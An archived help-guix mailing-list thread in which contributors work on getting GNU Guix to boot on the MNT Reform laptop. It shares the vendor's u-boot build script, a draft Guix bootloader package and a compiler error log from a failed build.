>> Im really pleased that Guix is getting a grip on how to manage open hardware and more FOSS centric
>> infrastructure.
>> 
>> Thanks for the pointer re Luke Leighton, i hope to investigate that
>> down the road. Also, curious about the intersection between the MNT
>> Reform team and Amiga hardware (extensions?).
> 
> I interview him a week or two ago? He's got some really ambitious
> plans for it. He's also hiring for hardware/software developers.
> 
> https://video.hardlimit.com/videos/watch/da57d61c-b2e9-473c-9ed0-9390bf610f67
> 
> (The video is also available on the non-free platform. You know which
> one). :)
> 
> https://libre-soc.org
> 
>> Kind regards,
>> 
>> Jonathan
>> 
>> August 29, 2021 9:10 PM, "Joshua Branson" <jbranso@dismail.de> wrote:
>> 
>>> "Jonathan McHugh" <indieterminacy@libre.brussels> writes:
>> 
>> I hope you are enjoying the mechanical keyboard, it seems great!
>>> The MNT reform does seem like my dream laptop. I do want a mechanical
>>> keyboard. What's the max RAM on the reform? I thought it was 4GB?
>>> Sounds pretty low...
>>> 
>>> Though I do like what Luke Leighton is doing with the power SOC/GPU.
>> 
>> ====================
>> Jonathan McHugh
>> indieterminacy@libre.brussels
>> 
>> August 17, 2021 7:24 PM, "Christine Lemmer-Webber" <cwebber@dustycloud.org> wrote:
>> 
>> Hi! Well my MNT Reform arrived. I'd like to start putting Guix on it
>> but I'm kind of low on time right now...
>> 
>> I wonder if anyone else has started making progress towards this?
>> 
>> What I'd love: a tutorial that says "here are the steps to make an sd
>> card you can boot your reform with"!
>> 
>> Christopher Lemmer Webber writes:
>> 
>> I'm very excited to see the MNT Reform launch:
>> 
>> https://www.crowdsupply.com/mnt/reform
>> https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live
>> 
>> Completely hackable laptop; all the designs (that are possible) are
>> libre, and you can even 3d print to replace many of the parts.
>>> --
>>> Joshua Branson (jab in #guix)
>>> Sent from Emacs and Gnus
>>> https://gnucode.me
>>> https://video.hardlimit.com/accounts/joshua_branson/video-channels
>>> https://propernaming.org
>>> "You can have whatever you want, as long as you help
>>> enough other people get what they want." - Zig Ziglar
> 
> --
> Joshua Branson (jab in #guix)
> Sent from Emacs and Gnus
> https://gnucode.me
> https://video.hardlimit.com/accounts/joshua_branson/video-channels
> https://propernaming.org
> "You can have whatever you want, as long as you help
> enough other people get what they want." - Zig Ziglar


^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2021-08-17 23:49   ` Fredrik Salomonsson
@ 2021-09-05  1:31     ` Christine Lemmer-Webber
  2021-09-06 17:07       ` Christine Lemmer-Webber
  2021-09-07  4:36       ` Denis 'GNUtoo' Carikli
  0 siblings, 2 replies; 31+ messages in thread
From: Christine Lemmer-Webber @ 2021-09-05  1:31 UTC (permalink / raw)
  To: Fredrik Salomonsson; +Cc: help-guix

Fredrik Salomonsson <plattfot@posteo.net> writes:

> Christine Lemmer-Webber <cwebber@dustycloud.org> writes:
>
>> Hi!  Well my MNT Reform arrived.  I'd like to start putting Guix on it
>> but I'm kind of low on time right now...
>
> I got mine last week!

Neat!

>> I wonder if anyone else has started making progress towards this?
>
>> What I'd love: a tutorial that says "here are the steps to make an sd
>> card you can boot your reform with"!
>
> I'm planning to start hacking on that once I've found a NVMe that works.
> The XPG SX8200 Pro 1TB I bought for it had serious issues with access
> times. Next up is to buy a WD Blue SN550 1TB and hopefully that will
> work.

Cool!  Hope it gets up and running soon.  In the meanwhile, some local
notes...

It looks like the relevant info to get going is here:

  https://mntre.com/reform2/handbook/advanced.html#system-boot

There's a script to compile a custom u-boot:

  https://source.mnt.re/reform/reform-system-image/-/blob/main/reform2-imx8mq/mkuboot.sh

#+BEGIN_SRC bash
if [ ! -d u-boot ]
then
  echo "Cloning U-Boot..."
  git clone --depth 1 https://source.mnt.re/reform/reform-boundary-uboot.git u-boot
fi

cd u-boot
cp mntreform-config .config

export CROSS_COMPILE=aarch64-linux-gnu-
export ARCH=arm

# build rescue u-boot first (loads kernel from eMMC)
make -j$(nproc) flash.bin KCPPFLAGS='-DMNTREFORM_BOOT_EMMC'
cp flash.bin flash-rescue.bin

# build normal u-boot second (loads kernel from SD card)
make -j$(nproc) flash.bin

cd ..
#+END_SRC

So that doesn't look to complicated.

Here's the custom u-boot:

  https://source.mnt.re/reform/reform-boundary-uboot

It says:

  "Fork of the vendor (Boundary Devices) u-boot for Reform 2, with
  minor tweaks. The goal is to migrate to mainstream u-boot or barebox
  ASAP. The main impediment so far is the 4GB RAM config."

So we probably want to make a u-boot-mnt-reform in
gnu/packages/bootloaders.scm

So we probably want to use "guix system image" and then add:

  gnu/system/images/mnt-reform.scm

Ideally in the end we should be able to do:

  guix system image --image-type=mnt-reform my-os.scm

So yeah, the rest of the pieces to figuring it out seem to be all here:

  https://mntre.com/reform2/handbook/advanced.html#system-boot

It *seems* like this should all be possible...

 - Christine


^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2021-09-05  1:31     ` Christine Lemmer-Webber
@ 2021-09-06 17:07       ` Christine Lemmer-Webber
  2021-09-06 19:37         ` Fredrik Salomonsson
  2021-09-07  4:36       ` Denis 'GNUtoo' Carikli
  1 sibling, 1 reply; 31+ messages in thread
From: Christine Lemmer-Webber @ 2021-09-06 17:07 UTC (permalink / raw)
  Cc: help-guix

Christine Lemmer-Webber <cwebber@dustycloud.org> writes:

> Cool!  Hope it gets up and running soon.  In the meanwhile, some local
> notes...
>
> It looks like the relevant info to get going is here:
>
>   https://mntre.com/reform2/handbook/advanced.html#system-boot
>
> There's a script to compile a custom u-boot:
>
>   https://source.mnt.re/reform/reform-system-image/-/blob/main/reform2-imx8mq/mkuboot.sh
>
> #+BEGIN_SRC bash
> if [ ! -d u-boot ]
> then
>   echo "Cloning U-Boot..."
>   git clone --depth 1 https://source.mnt.re/reform/reform-boundary-uboot.git u-boot
> fi
>
> cd u-boot
> cp mntreform-config .config
>
> export CROSS_COMPILE=aarch64-linux-gnu-
> export ARCH=arm
>
> # build rescue u-boot first (loads kernel from eMMC)
> make -j$(nproc) flash.bin KCPPFLAGS='-DMNTREFORM_BOOT_EMMC'
> cp flash.bin flash-rescue.bin
>
> # build normal u-boot second (loads kernel from SD card)
> make -j$(nproc) flash.bin
>
> cd ..
> #+END_SRC
>
> So that doesn't look to complicated.
>
> Here's the custom u-boot:
>
>   https://source.mnt.re/reform/reform-boundary-uboot
>
> It says:
>
>   "Fork of the vendor (Boundary Devices) u-boot for Reform 2, with
>   minor tweaks. The goal is to migrate to mainstream u-boot or barebox
>   ASAP. The main impediment so far is the 4GB RAM config."
>
> So we probably want to make a u-boot-mnt-reform in
> gnu/packages/bootloaders.scm
>
> So we probably want to use "guix system image" and then add:
>
>   gnu/system/images/mnt-reform.scm
>
> Ideally in the end we should be able to do:
>
>   guix system image --image-type=mnt-reform my-os.scm
>
> So yeah, the rest of the pieces to figuring it out seem to be all here:
>
>   https://mntre.com/reform2/handbook/advanced.html#system-boot
>
> It *seems* like this should all be possible...
>
>  - Christine

Here's the progress I've made so far:

#+BEGIN_SRC diff
diff --git a/gnu/packages/bootloaders.scm b/gnu/packages/bootloaders.scm
index 2889a90d54..17a7abc657 100644
--- a/gnu/packages/bootloaders.scm
+++ b/gnu/packages/bootloaders.scm
@@ -953,6 +953,38 @@ to Novena upstream, does not load u-boot.img from the first partition.")
        `(("firmware" ,arm-trusted-firmware-rk3399)
          ,@(package-native-inputs base))))))
 
+(define-public u-boot-mnt-reform2
+  (let ((base (make-u-boot-package "mnt-reform2" "aarch64-linux-gnu"))
+        (commit "bdcdce7434b9db19aabd59181014f24d66af0db8"))
+    (package
+      (inherit base)
+      (version "2021.06")
+      (name "u-boot-mnt-reform2")
+      (source (origin
+                (method git-fetch)
+                (uri (git-reference
+                      (url "https://source.mnt.re/reform/reform-boundary-uboot.git")
+                      (commit commit)))
+                (file-name (git-file-name name version))
+                (sha256
+                 (base32
+                  "1pwmcaaxx5zvn26gznwz4rjki4w3wwfzdnipxfr7d8067fmwgjp3"))))
+      (arguments
+        (substitute-keyword-arguments (package-arguments base)
+          ((#:phases phases)
+           `(modify-phases ,phases
+              (replace 'configure
+                (lambda _
+                  (copy-file "mntreform-config" ".config")))
+              
+              ;; Phases do not succeed on the bl31 ELF.
+              #;(delete 'strip)
+              #;(delete 'validate-runpath)))))
+      #;(native-inputs
+       `(("firmware" ,arm-trusted-firmware-rk3399)
+         ,@(package-native-inputs base))))
+    ))
+
 (define-public vboot-utils
   (package
     (name "vboot-utils")
#+END_SRC

However, I hit this error when trying to compile:

#+BEGIN_VERBATIM
starting phase `build'
  HOSTCC  scripts/basic/fixdep
In file included from /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdlib.h:9:0,
                 from scripts/basic/fixdep.c:112:
/gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/malloc.h:875:22: error: missing binary operator before token "("
 #if CONFIG_IS_ENABLED(SYS_MALLOC_SIMPLE)
                      ^
In file included from scripts/basic/fixdep.c:113:0:
/gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:18:14: error: expected declaration specifiers or '...' before numeric constant
 int __printf(1, 2) printf(const char *fmt, ...);
              ^
/gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:18:17: error: expected declaration specifiers or '...' before numeric constant
 int __printf(1, 2) printf(const char *fmt, ...);
                 ^
/gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:53:14: error: expected declaration specifiers or '...' before numeric constant
 int __printf(2, 3) fprintf(int file, const char *fmt, ...);
              ^
/gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:53:17: error: expected declaration specifiers or '...' before numeric constant
 int __printf(2, 3) fprintf(int file, const char *fmt, ...);
                 ^
scripts/basic/fixdep.c: In function 'usage':
scripts/basic/fixdep.c:130:2: warning: implicit declaration of function 'fprintf' [-Wimplicit-function-declaration]
  fprintf(stderr, "Usage: fixdep <depfile> <target> <cmdline>\n");
  ^~~~~~~
scripts/basic/fixdep.c:130:2: warning: incompatible implicit declaration of built-in function 'fprintf'
scripts/basic/fixdep.c:130:2: note: include '<stdio.h>' or provide a declaration of 'fprintf'
scripts/basic/fixdep.c:130:10: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
  fprintf(stderr, "Usage: fixdep <depfile> <target> <cmdline>\n");
          ^~~~~~
scripts/basic/fixdep.c:130:10: note: expected 'void *' but argument is of type 'int'
scripts/basic/fixdep.c:131:2: warning: implicit declaration of function 'exit' [-Wimplicit-function-declaration]
  exit(1);
  ^~~~
scripts/basic/fixdep.c:131:2: warning: incompatible implicit declaration of built-in function 'exit'
scripts/basic/fixdep.c:131:2: note: include '<stdlib.h>' or provide a declaration of 'exit'
scripts/basic/fixdep.c: In function 'print_cmdline':
scripts/basic/fixdep.c:139:2: warning: implicit declaration of function 'printf' [-Wimplicit-function-declaration]
  printf("cmd_%s := %s\n\n", target, cmdline);
  ^~~~~~
scripts/basic/fixdep.c:139:2: warning: incompatible implicit declaration of built-in function 'printf'
scripts/basic/fixdep.c:139:2: note: include '<stdio.h>' or provide a declaration of 'printf'
scripts/basic/fixdep.c: In function 'define_config':
scripts/basic/fixdep.c:185:3: warning: implicit declaration of function 'perror'; did you mean 'strerror'? [-Wimplicit-function-declaration]
   perror("fixdep:malloc");
   ^~~~~~
   strerror
scripts/basic/fixdep.c:186:3: warning: incompatible implicit declaration of built-in function 'exit'
   exit(1);
   ^~~~
scripts/basic/fixdep.c:186:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
scripts/basic/fixdep.c: In function 'use_config':
scripts/basic/fixdep.c:208:2: warning: incompatible implicit declaration of built-in function 'printf'
  printf("    $(wildcard include/config/");
  ^~~~~~
scripts/basic/fixdep.c:208:2: note: include '<stdio.h>' or provide a declaration of 'printf'
scripts/basic/fixdep.c:215:3: warning: implicit declaration of function 'putchar' [-Wimplicit-function-declaration]
   putchar(c);
   ^~~~~~~
scripts/basic/fixdep.c: In function 'do_config_file':
scripts/basic/fixdep.c:302:3: warning: incompatible implicit declaration of built-in function 'fprintf'
   fprintf(stderr, "fixdep: error opening config file: ");
   ^~~~~~~
scripts/basic/fixdep.c:302:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
scripts/basic/fixdep.c:302:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
   fprintf(stderr, "fixdep: error opening config file: ");
           ^~~~~~
scripts/basic/fixdep.c:302:11: note: expected 'void *' but argument is of type 'int'
scripts/basic/fixdep.c:304:3: warning: incompatible implicit declaration of built-in function 'exit'
   exit(2);
   ^~~~
scripts/basic/fixdep.c:304:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
scripts/basic/fixdep.c:307:3: warning: incompatible implicit declaration of built-in function 'fprintf'
   fprintf(stderr, "fixdep: error fstat'ing config file: ");
   ^~~~~~~
scripts/basic/fixdep.c:307:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
scripts/basic/fixdep.c:307:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
   fprintf(stderr, "fixdep: error fstat'ing config file: ");
           ^~~~~~
scripts/basic/fixdep.c:307:11: note: expected 'void *' but argument is of type 'int'
scripts/basic/fixdep.c:309:3: warning: incompatible implicit declaration of built-in function 'exit'
   exit(2);
   ^~~~
scripts/basic/fixdep.c:309:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
scripts/basic/fixdep.c: In function 'parse_dep_file':
scripts/basic/fixdep.c:387:7: warning: incompatible implicit declaration of built-in function 'printf'
       printf("source_%s := %s\n\n",
       ^~~~~~
scripts/basic/fixdep.c:387:7: note: include '<stdio.h>' or provide a declaration of 'printf'
scripts/basic/fixdep.c:394:6: warning: incompatible implicit declaration of built-in function 'printf'
      printf("  %s \\\n", s);
      ^~~~~~
scripts/basic/fixdep.c:394:6: note: include '<stdio.h>' or provide a declaration of 'printf'
scripts/basic/fixdep.c:406:3: warning: incompatible implicit declaration of built-in function 'fprintf'
   fprintf(stderr, "fixdep: parse error; no targets found\n");
   ^~~~~~~
scripts/basic/fixdep.c:406:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
scripts/basic/fixdep.c:406:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
   fprintf(stderr, "fixdep: parse error; no targets found\n");
           ^~~~~~
scripts/basic/fixdep.c:406:11: note: expected 'void *' but argument is of type 'int'
scripts/basic/fixdep.c:407:3: warning: incompatible implicit declaration of built-in function 'exit'
   exit(1);
   ^~~~
scripts/basic/fixdep.c:407:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
scripts/basic/fixdep.c:410:2: warning: incompatible implicit declaration of built-in function 'printf'
  printf("\n%s: $(deps_%s)\n\n", target, target);
  ^~~~~~
scripts/basic/fixdep.c:410:2: note: include '<stdio.h>' or provide a declaration of 'printf'
scripts/basic/fixdep.c: In function 'print_deps':
scripts/basic/fixdep.c:422:3: warning: incompatible implicit declaration of built-in function 'fprintf'
   fprintf(stderr, "fixdep: error opening depfile: ");
   ^~~~~~~
scripts/basic/fixdep.c:422:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
scripts/basic/fixdep.c:422:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
   fprintf(stderr, "fixdep: error opening depfile: ");
           ^~~~~~
scripts/basic/fixdep.c:422:11: note: expected 'void *' but argument is of type 'int'
scripts/basic/fixdep.c:424:3: warning: incompatible implicit declaration of built-in function 'exit'
   exit(2);
   ^~~~
scripts/basic/fixdep.c:424:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
scripts/basic/fixdep.c:427:3: warning: incompatible implicit declaration of built-in function 'fprintf'
   fprintf(stderr, "fixdep: error fstat'ing depfile: ");
   ^~~~~~~
scripts/basic/fixdep.c:427:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
scripts/basic/fixdep.c:427:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
   fprintf(stderr, "fixdep: error fstat'ing depfile: ");
           ^~~~~~
scripts/basic/fixdep.c:427:11: note: expected 'void *' but argument is of type 'int'
scripts/basic/fixdep.c:429:3: warning: incompatible implicit declaration of built-in function 'exit'
   exit(2);
   ^~~~
scripts/basic/fixdep.c:429:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
scripts/basic/fixdep.c:432:3: warning: incompatible implicit declaration of built-in function 'fprintf'
   fprintf(stderr,"fixdep: %s is empty\n",depfile);
   ^~~~~~~
scripts/basic/fixdep.c:432:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
scripts/basic/fixdep.c:432:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
   fprintf(stderr,"fixdep: %s is empty\n",depfile);
           ^~~~~~
scripts/basic/fixdep.c:432:11: note: expected 'void *' but argument is of type 'int'
scripts/basic/fixdep.c: In function 'traps':
scripts/basic/fixdep.c:456:3: warning: incompatible implicit declaration of built-in function 'fprintf'
   fprintf(stderr, "fixdep: sizeof(int) != 4 or wrong endianness? %#x\n",
   ^~~~~~~
scripts/basic/fixdep.c:456:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
scripts/basic/fixdep.c:456:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
   fprintf(stderr, "fixdep: sizeof(int) != 4 or wrong endianness? %#x\n",
           ^~~~~~
scripts/basic/fixdep.c:456:11: note: expected 'void *' but argument is of type 'int'
scripts/basic/fixdep.c:458:3: warning: incompatible implicit declaration of built-in function 'exit'
   exit(2);
   ^~~~
scripts/basic/fixdep.c:458:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
make[2]: *** [scripts/Makefile.host:97: scripts/basic/fixdep] Error 1
make[1]: *** [Makefile:411: scripts_basic] Error 2
make: *** No rule to make target 'include/config/auto.conf', needed by 'include/config/uboot.release'.  Stop.
command "make" "-j" "8" "HOSTCC=gcc" "CROSS_COMPILE=aarch64-linux-gnu-" failed with status 2
note: keeping build directory `/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-1'
builder for `/gnu/store/ahqnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv' failed with exit code 1
build of /gnu/store/ahqnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv failed
View build log at '/var/log/guix/drvs/ah/qnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv.bz2'.
guix build: error: build of `/gnu/store/ahqnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv' failed
#+END_VERBATIM

I guess here's where my lack of knowledge of C-land is failing me.

Any thoughts or ideas?

 - Christine


^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2021-09-06 17:07       ` Christine Lemmer-Webber
@ 2021-09-06 19:37         ` Fredrik Salomonsson
  2021-09-06 20:50           ` Christine Lemmer-Webber
  0 siblings, 1 reply; 31+ messages in thread
From: Fredrik Salomonsson @ 2021-09-06 19:37 UTC (permalink / raw)
  To: Christine Lemmer-Webber; +Cc: help-guix

Christine Lemmer-Webber <cwebber@dustycloud.org> writes:

>> Cool!  Hope it gets up and running soon.

Thanks, I got it running somewhat. My batteries are still a bit messed
up after I accidentally let it drain them too low. I ordered a battery
charger so hopefully I can get them in great shape again.

>> In the meanwhile, some local notes...
>>
>> It looks like the relevant info to get going is here:
>>
>>   https://mntre.com/reform2/handbook/advanced.html#system-boot
>>
>> There's a script to compile a custom u-boot:
>>
>>   https://source.mnt.re/reform/reform-system-image/-/blob/main/reform2-imx8mq/mkuboot.sh
>>
>> #+BEGIN_SRC bash
>> if [ ! -d u-boot ]
>> then
>>   echo "Cloning U-Boot..."
>>   git clone --depth 1 https://source.mnt.re/reform/reform-boundary-uboot.git u-boot
>> fi
>>
>> cd u-boot
>> cp mntreform-config .config
>>
>> export CROSS_COMPILE=aarch64-linux-gnu-
>> export ARCH=arm
>>
>> # build rescue u-boot first (loads kernel from eMMC)
>> make -j$(nproc) flash.bin KCPPFLAGS='-DMNTREFORM_BOOT_EMMC'
>> cp flash.bin flash-rescue.bin
>>
>> # build normal u-boot second (loads kernel from SD card)
>> make -j$(nproc) flash.bin
>>
>> cd ..
>> #+END_SRC
>>
>> So that doesn't look to complicated.
>>
>> Here's the custom u-boot:
>>
>>   https://source.mnt.re/reform/reform-boundary-uboot
>>
>> It says:
>>
>>   "Fork of the vendor (Boundary Devices) u-boot for Reform 2, with
>>   minor tweaks. The goal is to migrate to mainstream u-boot or barebox
>>   ASAP. The main impediment so far is the 4GB RAM config."
>>
>> So we probably want to make a u-boot-mnt-reform in
>> gnu/packages/bootloaders.scm
>>
>> So we probably want to use "guix system image" and then add:
>>
>>   gnu/system/images/mnt-reform.scm
>>
>> Ideally in the end we should be able to do:
>>
>>   guix system image --image-type=mnt-reform my-os.scm
>>
>> So yeah, the rest of the pieces to figuring it out seem to be all here:
>>
>>   https://mntre.com/reform2/handbook/advanced.html#system-boot
>>
>> It *seems* like this should all be possible...
>>
>>  - Christine

Thanks for the notes! I've just been poking around in the guix source
code to get a grasp how it works plus reading the Guix on an ARM Board
by Julien Lepiller [0]

[0] https://guix.gnu.org/blog/2019/guix-on-an-arm-board/

>
> Here's the progress I've made so far:
>
> #+BEGIN_SRC diff
> diff --git a/gnu/packages/bootloaders.scm b/gnu/packages/bootloaders.scm
> index 2889a90d54..17a7abc657 100644
> --- a/gnu/packages/bootloaders.scm
> +++ b/gnu/packages/bootloaders.scm
> @@ -953,6 +953,38 @@ to Novena upstream, does not load u-boot.img from the first partition.")
>         `(("firmware" ,arm-trusted-firmware-rk3399)
>           ,@(package-native-inputs base))))))
>  
> +(define-public u-boot-mnt-reform2
> +  (let ((base (make-u-boot-package "mnt-reform2" "aarch64-linux-gnu"))
> +        (commit "bdcdce7434b9db19aabd59181014f24d66af0db8"))
> +    (package
> +      (inherit base)
> +      (version "2021.06")
> +      (name "u-boot-mnt-reform2")
> +      (source (origin
> +                (method git-fetch)
> +                (uri (git-reference
> +                      (url "https://source.mnt.re/reform/reform-boundary-uboot.git")
> +                      (commit commit)))
> +                (file-name (git-file-name name version))
> +                (sha256
> +                 (base32
> +                  "1pwmcaaxx5zvn26gznwz4rjki4w3wwfzdnipxfr7d8067fmwgjp3"))))
> +      (arguments
> +        (substitute-keyword-arguments (package-arguments base)
> +          ((#:phases phases)
> +           `(modify-phases ,phases
> +              (replace 'configure
> +                (lambda _
> +                  (copy-file "mntreform-config" ".config")))
> +              
> +              ;; Phases do not succeed on the bl31 ELF.
> +              #;(delete 'strip)
> +              #;(delete 'validate-runpath)))))
> +      #;(native-inputs
> +       `(("firmware" ,arm-trusted-firmware-rk3399)
> +         ,@(package-native-inputs base))))
> +    ))
> +
>  (define-public vboot-utils
>    (package
>      (name "vboot-utils")
> #+END_SRC
>
> However, I hit this error when trying to compile:
>
> #+BEGIN_VERBATIM
> starting phase `build'
>   HOSTCC  scripts/basic/fixdep
> In file included from /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdlib.h:9:0,
>                  from scripts/basic/fixdep.c:112:
> /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/malloc.h:875:22: error: missing binary operator before token "("
>  #if CONFIG_IS_ENABLED(SYS_MALLOC_SIMPLE)
>                       ^
> In file included from scripts/basic/fixdep.c:113:0:
> /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:18:14: error: expected declaration specifiers or '...' before numeric constant
>  int __printf(1, 2) printf(const char *fmt, ...);
>               ^
> /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:18:17: error: expected declaration specifiers or '...' before numeric constant
>  int __printf(1, 2) printf(const char *fmt, ...);
>                  ^
> /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:53:14: error: expected declaration specifiers or '...' before numeric constant
>  int __printf(2, 3) fprintf(int file, const char *fmt, ...);
>               ^
> /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:53:17: error: expected declaration specifiers or '...' before numeric constant
>  int __printf(2, 3) fprintf(int file, const char *fmt, ...);
>                  ^
> scripts/basic/fixdep.c: In function 'usage':
> scripts/basic/fixdep.c:130:2: warning: implicit declaration of function 'fprintf' [-Wimplicit-function-declaration]
>   fprintf(stderr, "Usage: fixdep <depfile> <target> <cmdline>\n");
>   ^~~~~~~
> scripts/basic/fixdep.c:130:2: warning: incompatible implicit declaration of built-in function 'fprintf'
> scripts/basic/fixdep.c:130:2: note: include '<stdio.h>' or provide a declaration of 'fprintf'
> scripts/basic/fixdep.c:130:10: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
>   fprintf(stderr, "Usage: fixdep <depfile> <target> <cmdline>\n");
>           ^~~~~~
> scripts/basic/fixdep.c:130:10: note: expected 'void *' but argument is of type 'int'
> scripts/basic/fixdep.c:131:2: warning: implicit declaration of function 'exit' [-Wimplicit-function-declaration]
>   exit(1);
>   ^~~~
> scripts/basic/fixdep.c:131:2: warning: incompatible implicit declaration of built-in function 'exit'
> scripts/basic/fixdep.c:131:2: note: include '<stdlib.h>' or provide a declaration of 'exit'
> scripts/basic/fixdep.c: In function 'print_cmdline':
> scripts/basic/fixdep.c:139:2: warning: implicit declaration of function 'printf' [-Wimplicit-function-declaration]
>   printf("cmd_%s := %s\n\n", target, cmdline);
>   ^~~~~~
> scripts/basic/fixdep.c:139:2: warning: incompatible implicit declaration of built-in function 'printf'
> scripts/basic/fixdep.c:139:2: note: include '<stdio.h>' or provide a declaration of 'printf'
> scripts/basic/fixdep.c: In function 'define_config':
> scripts/basic/fixdep.c:185:3: warning: implicit declaration of function 'perror'; did you mean 'strerror'? [-Wimplicit-function-declaration]
>    perror("fixdep:malloc");
>    ^~~~~~
>    strerror
> scripts/basic/fixdep.c:186:3: warning: incompatible implicit declaration of built-in function 'exit'
>    exit(1);
>    ^~~~
> scripts/basic/fixdep.c:186:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
> scripts/basic/fixdep.c: In function 'use_config':
> scripts/basic/fixdep.c:208:2: warning: incompatible implicit declaration of built-in function 'printf'
>   printf("    $(wildcard include/config/");
>   ^~~~~~
> scripts/basic/fixdep.c:208:2: note: include '<stdio.h>' or provide a declaration of 'printf'
> scripts/basic/fixdep.c:215:3: warning: implicit declaration of function 'putchar' [-Wimplicit-function-declaration]
>    putchar(c);
>    ^~~~~~~
> scripts/basic/fixdep.c: In function 'do_config_file':
> scripts/basic/fixdep.c:302:3: warning: incompatible implicit declaration of built-in function 'fprintf'
>    fprintf(stderr, "fixdep: error opening config file: ");
>    ^~~~~~~
> scripts/basic/fixdep.c:302:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
> scripts/basic/fixdep.c:302:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
>    fprintf(stderr, "fixdep: error opening config file: ");
>            ^~~~~~
> scripts/basic/fixdep.c:302:11: note: expected 'void *' but argument is of type 'int'
> scripts/basic/fixdep.c:304:3: warning: incompatible implicit declaration of built-in function 'exit'
>    exit(2);
>    ^~~~
> scripts/basic/fixdep.c:304:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
> scripts/basic/fixdep.c:307:3: warning: incompatible implicit declaration of built-in function 'fprintf'
>    fprintf(stderr, "fixdep: error fstat'ing config file: ");
>    ^~~~~~~
> scripts/basic/fixdep.c:307:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
> scripts/basic/fixdep.c:307:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
>    fprintf(stderr, "fixdep: error fstat'ing config file: ");
>            ^~~~~~
> scripts/basic/fixdep.c:307:11: note: expected 'void *' but argument is of type 'int'
> scripts/basic/fixdep.c:309:3: warning: incompatible implicit declaration of built-in function 'exit'
>    exit(2);
>    ^~~~
> scripts/basic/fixdep.c:309:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
> scripts/basic/fixdep.c: In function 'parse_dep_file':
> scripts/basic/fixdep.c:387:7: warning: incompatible implicit declaration of built-in function 'printf'
>        printf("source_%s := %s\n\n",
>        ^~~~~~
> scripts/basic/fixdep.c:387:7: note: include '<stdio.h>' or provide a declaration of 'printf'
> scripts/basic/fixdep.c:394:6: warning: incompatible implicit declaration of built-in function 'printf'
>       printf("  %s \\\n", s);
>       ^~~~~~
> scripts/basic/fixdep.c:394:6: note: include '<stdio.h>' or provide a declaration of 'printf'
> scripts/basic/fixdep.c:406:3: warning: incompatible implicit declaration of built-in function 'fprintf'
>    fprintf(stderr, "fixdep: parse error; no targets found\n");
>    ^~~~~~~
> scripts/basic/fixdep.c:406:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
> scripts/basic/fixdep.c:406:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
>    fprintf(stderr, "fixdep: parse error; no targets found\n");
>            ^~~~~~
> scripts/basic/fixdep.c:406:11: note: expected 'void *' but argument is of type 'int'
